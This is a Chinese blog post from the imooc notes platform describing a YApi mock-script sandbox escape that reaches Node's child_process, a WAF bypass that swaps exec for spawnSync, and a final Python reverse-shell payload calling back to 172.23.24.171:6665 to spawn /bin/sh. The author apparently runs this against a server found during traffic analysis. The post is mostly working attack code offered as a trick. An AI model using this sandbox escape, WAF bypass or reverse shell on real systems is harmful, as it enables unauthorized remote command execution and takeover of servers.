继续浏览精彩内容
慕课网APP
程序员的梦工厂
打开
继续
感谢您的支持,我会继续努力的
赞赏金额会直接到老师账户
将二维码发送给自己后长按识别
微信支付
支付宝支付

Yapi 代码执行waf绕过小技巧

persist213
关注TA
已关注
手记 11
粉丝 244
获赞 16

疫情在家办公,这时接到boss的电话说要做一个流量分析,老板发话干就干。对恶意告警分析差不多了,没事翻一翻流量,结果意外发现一个大宝贝!就这样开始了与Yapi的美丽邂逅。

高兴之余赶紧注册账户,写入恶意脚本。

const sandbox = this

const ObjectConstructor = this.constructor

const FunctionConstructor = ObjectConstructor.constructor

const myfun = FunctionConstructor(‘return process’)

const process = myfun()

mockJson = process.mainModule.require(“child_process”).execSync(“whoami”)

当激动的点击保存脚本的时候发现浏览器并没有反应,起初以为是管理员禁用了保存功能,后来随便保存一串字符结果显示保存成功,看看浏览器 ajax 请求原来是保存恶意脚本 的请求被拒绝了,怪不得恶意攻击的流量里没有发现这个资产,原来是有 waf 进行防御的。既然来了就不能放过,分段保存恶意脚本,经过一步一步的尝试最后定位被拦截是因为 识别到了 exec()。 该恶意脚本为 nodjs 脚本,翻一翻官方文档看到了以下内容:

原来最后那一行是起到了在windows上衍生.bat和.cmd文件的作用。

既然child_process.execSync()被禁那尝试使用spaw()替代尝试是否可绕过。点击保存显示保存成功。赶紧访问保存的恶意脚本进行反弹shell结果vps半天没消息,就在怀疑该主机是否不出网的时候被叫吃中午饭了,暂放一阶段。

吃完饭回来理了理思路,突然发现文档中exec()与spaw()语法是有区别的exec()可以直接行的命令和参数写进去比如.exec(ping 17 2 .2 3 .24.171 -c 4)而 span()只能 span(ping[‘17 2 .2 3 .24.171’,’-c’,’4’]),span()的命令和参数是分开的。

用nc进行反弹结果等了个寂寞,用python进行反弹,点击保存并访问脚本,结果啪唧一下很突然:

最后的脚本

const sandbox = this

const ObjectConstructor = this.constructor

const FunctionConstructor = ObjectConstructor.constructor

const myfun = FunctionConstructor(‘return process’)

const process = myfun()

Poc=process.mainModule.require(“child_process”).spawnSync(‘python’[‘c’,’‘importsocket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“172.23.24.171”,6665));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);’’])

打开App,阅读手记
0人推荐
发表评论
随时随地看视频慕课网APP